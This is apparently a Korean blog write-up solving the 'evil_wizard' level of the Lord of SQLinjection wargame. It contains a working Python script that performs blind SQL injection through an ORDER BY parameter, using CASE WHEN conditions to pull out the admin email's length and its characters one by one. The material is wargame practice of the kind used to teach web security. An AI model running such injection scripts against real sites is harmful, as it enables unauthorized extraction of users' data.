이 문제는 앞서 푼 23번 문제와 유사하다.
차이점은 단 1개, 시간지연함수들이 필터링 되는 것.. 이번에는 time-based를 쓰지 않고 문제를 풀어야 한다.
아마도 이전 문제에서 겪었던 시행착오처럼 응답값을 보고 판단해야 하는 것 같다.
이전 문제에서는
id 기준으로 정렬값 (admin이 첫번째)과 score 기준으로 정렬한 값(admin이 두번째)이 상이했다.
하지만 이번 문제에서는 이걸 사용할 수 없다.
왜냐면 둘다 정렬된 값이 둘다 admin이 첫번째가 되기 때문이다.
그러면 어떠한 응답 차이를 찾을 수 있을까 생각하다가...
id를 기준으로 정렬하되, 오름차 / 내림차 순으로 차이를 두면 될 것 같았다
ASC, DESC 로 정렬 차이를 보였다. 이를 이용해보자!
시행착오 1)
이렇게 했더니 안돼..
시행착오 2)
괄호로 안 감쌌더니 안되는 줄 알았는데 이것도 안됐다..
시행착오 3)
이것도 안되네.. 하지만 결과값이 테이블에 나오기는 한다.. 하지만 참 거짓을 나눌 수 없었다.
도저히 안되서 힌트를 얻었다.
결과)
id는 그냥 주고 뒤에 id desc 를 싱글쿼터로 감쌌더니 되었다.. 왜그러는거야..
일단 자동화코드 돌려보자..
길이 찾기
#패스워드 길이 찾기
def pw_len():
len_num = 0
while 1 :
len_num = len_num + 1
value = "(case when (id='admin' and length(email)={}) then id else 'id desc' end)".format(len_num)
parmas = {'order':value}
response = requests.get(url,params=parmas, cookies=cookies)
print(value)
if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text: #응답값에 Hello admin이 있으면 반환
print("password length : ", len_num)
break
return len_num
여기서 우리가 찾았을 때의 응답값 기준을 걸어주는데, 이전에는 Hello admin이었다면.. 이번에는 참일 때 admin이 첫번째로 오기 때문에 응답값을 그대로 넣어줬다.
즉,
이 자체 코드를 찾도록 하였다...
성공..
한글자씩 찾기
def pw_real(len_num):
pw=''
for i in range(1,len_num+1):
print(i,"번째 검색 중")
for j in range(46, 122): #아스키코드값 48번부터 122번
value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then id else 'id desc' end)".format(i,j) #injection payload
parmas = {'order':value}
response = requests.get(url, params=parmas, cookies=cookies)
if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text: #응답값에 Hello admin이 있으면 반환
pw = pw + chr(j) #chr(): 아스키코드값 -> 문자
print("password : ", pw)
break
return pw
이 역시도 어찌저찌 성공...
전체코드
#LOS evil_wizard
import requests
url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
#패스워드 길이 찾기
def pw_len():
len_num = 0
while 1 :
len_num = len_num + 1
value = "(case when (id='admin' and length(email)={}) then id else 'id desc' end)".format(len_num)
parmas = {'order':value}
response = requests.get(url,params=parmas, cookies=cookies)
print(value)
if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text: #응답값에 Hello admin이 있으면 반환
print("password length : ", len_num)
break
return len_num
def pw_real(len_num):
pw=''
for i in range(1,len_num+1):
print(i,"번째 검색 중")
for j in range(46, 122): #아스키코드값 48번부터 122번
value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then id else 'id desc' end)".format(i,j) #injection payload
parmas = {'order':value}
response = requests.get(url, params=parmas, cookies=cookies)
if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text: #응답값에 Hello admin이 있으면 반환
pw = pw + chr(j) #chr(): 아스키코드값 -> 문자
print("password : ", pw)
break
return pw
pw_real(pw_len())
어쨌든 solve..!!!!!!
이 방법 말고 다른 방법도 찾아보았다.
유효한 열 번호(1) 과 유효하지 않은 열 번호( ' 빈값 ') 의 응답 차이를 이용해서도 가능한 것 같다.
하지만 이대로 조건을 걸어주면 안된다...
but
참일 때 order by 1 이 아니라 order by id 로 해주면 된다. 뭐지..
아시는 고수 분들 알려주세요//
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step26. red_dragon 풀이 (0) | 2023.06.22 |
---|---|
[LOS] step25. green_dragon 풀이 (0) | 2023.06.21 |
[LOS] step23. hell_fire 풀이 (0) | 2023.06.21 |
[LOS] step22. dark_eyes 풀이 (0) | 2023.06.20 |
[LOS] step21. iron_golem 풀이 (1) | 2023.06.19 |